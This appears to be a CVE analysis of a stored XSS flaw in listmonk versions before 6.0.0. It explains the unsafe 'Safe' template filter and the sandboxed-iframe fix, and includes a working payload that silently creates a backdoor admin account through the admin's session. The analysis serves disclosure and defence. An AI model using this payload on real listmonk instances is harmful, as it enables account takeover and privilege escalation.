Listmonk versions prior to 6.0.0 trusted user input a little too much. By abusing the 'Safe' template filter, an attacker with basic campaign editing rights can inject malicious JavaScript. When an administrator previews this campaign, the script executes, effectively handing over the keys to the kingdom.
A critical Stored XSS vulnerability in the popular self-hosted newsletter manager, listmonk, allows low-privileged users to hijack administrative accounts via unsafe template rendering.
Listmonk is the darling of the self-hosted marketing world. It’s fast, written in Go, and lets you manage massive mailing lists without paying the 'Mailchimp tax.' But like any fortress built on efficiency, it creates a dangerous assumption: that the people inside the walls (your editors and campaign managers) are trustworthy.
In the security world, we call this the 'Soft Center' problem. You harden the perimeter with Nginx, firewalls, and 2FA, but internally, the application code treats authenticated users like royalty. CVE-2026-21483 exposes exactly why this is a bad idea. It turns the simple act of previewing a newsletter—something every admin does before hitting 'Send'—into a suicide mission for your system's integrity.
The vulnerability centers on how listmonk renders HTML. Newsletters are inherently messy HTML beasts. To support them, the system has to allow rich text. But in versions prior to 6.0.0, the mechanism used to render this content failed to distinguish between 'bold text' and 'malicious JavaScript designed to delete your database.'
Root cause analysis often reveals that the most dangerous vulnerabilities are born from good intentions. In Go's html/template package, the default behavior is paranoid. It escapes everything. If you try to output <script>, Go turns it into <script> automatically. This effectively kills XSS by default.
However, developers often need to render raw HTML (for things like bold text, images, or custom newsletter layouts). To bypass Go's paranoia, listmonk implemented a custom template filter, likely named Safe or similar, which casts the string to template.HTML. This tells the Go engine: 'I have checked this, it is safe, just render it.'
[!WARNING] The bug wasn't a complex memory corruption. It was a logic flaw. The application allowed users with
campaigns:managepermissions to invoke thisSafefilter on arbitrary input without backend sanitization.
The developers essentially handed the keys to the bypass mechanism directly to the users. It’s the digital equivalent of locking your front door but leaving a sledgehammer labeled 'For Breaking Windows' on the front porch.
The remediation for this issue in version 6.0.0 was a two-pronged approach, but the most visible change happened in the frontend Vue component. Let's look at the commit 74dc5a01cfbb12cf218cb33ddad8410c53e2e915.
The developers realized that if they couldn't perfectly scrub the HTML on the backend (sanitization is hard), they needed to contain the explosion on the frontend. They modified CampaignPreview.vue to sandbox the preview iframe.
The Vulnerable State:
Previously, the preview might have been rendered directly into the DOM or in an unsandboxed iframe. This meant any script running in the preview shared the window context (or origin) of the admin dashboard.
The Fix (Simplified View):
<!-- content/campaigns/CampaignPreview.vue -->
<iframe
:srcdoc="html"
sandbox="allow-scripts"
class="preview-frame"
></iframe>Notice the sandbox="allow-scripts" attribute. Crucially, they did NOT include allow-same-origin.
This is the kill switch for the exploit. By omitting allow-same-origin, the browser forces the content inside the iframe to be treated as being from a unique, opaque origin. Even if the script executes (because allow-scripts is present), it cannot read the admin's document.cookie or access localStorage. It is effectively trapped in a glass box, screaming at a void.
Let's put on our black hats. We are an attacker who has compromised a low-level account with campaigns:manage permissions. We want full control. We don't want to just pop an alert box; we want to create a backdoor administrative user.
Our attack vector is the Campaign Body. We create a new campaign and insert a payload that utilizes the vulnerable template rendering.
The Payload:
{{ "<script>\n fetch('/api/users', {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({\n username: 'ShadowAdmin',\n password: 'Password123!',\n email: 'hacker@example.com',\n role: 'admin',\n status: 'enabled'\n }),\n credentials: 'include'\n });\n</script>" | Safe }}The Execution Flow:
When the Super Admin innocently checks how the newsletter looks on mobile, their browser renders the HTML. The Safe filter strips away the safety rails. The script executes immediately. Because the admin is logged in, the browser automatically attaches their session cookies to the fetch request (credentials: 'include').
The API receives a valid request from a Super Admin to create a new user. It obliges. The attacker can now log out, log back in as ShadowAdmin, and own the infrastructure.
Why should you panic? Because listmonk isn't just a database of emails; it's a command and control center for communication. An attacker with admin access can do significant damage:
This is a classic Privilege Escalation vulnerability. We move from a restricted role (Campaign Manager) to a God-tier role (Super Admin) seamlessly. The impact on confidentiality and integrity is total.
If you are running listmonk < 6.0.0, stop reading and update now. The primary fix involves upgrading to version 6.0.0, which introduces backend sanitization (using libraries like bluemonday to scrub HTML before it hits the database) and the frontend sandboxing we analyzed earlier.
Mitigation Strategies:
script-src 'self' would prevent inline scripts from executing, killing the payload. However, this might break parts of the application if it relies on inline scripts itself.Lessons Learned: Never blindly trust a template engine's 'safe' or 'raw' output filters. If a user can input data that passes through that filter, you have a vulnerability. Always sanitize on the way in (Input Validation) and sandbox on the way out (Output Encoding/Isolation).
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
listmonk listmonk | < 6.0.0 | 6.0.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Stored XSS) |
| CVSS v3.1 | 8.0 (High) |
| Privileges Required | Low (campaigns:manage) |
| User Interaction | Required (Admin views preview) |
| Impact | Account Takeover / Privilege Escalation |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Get the latest CVE analysis reports delivered to your inbox.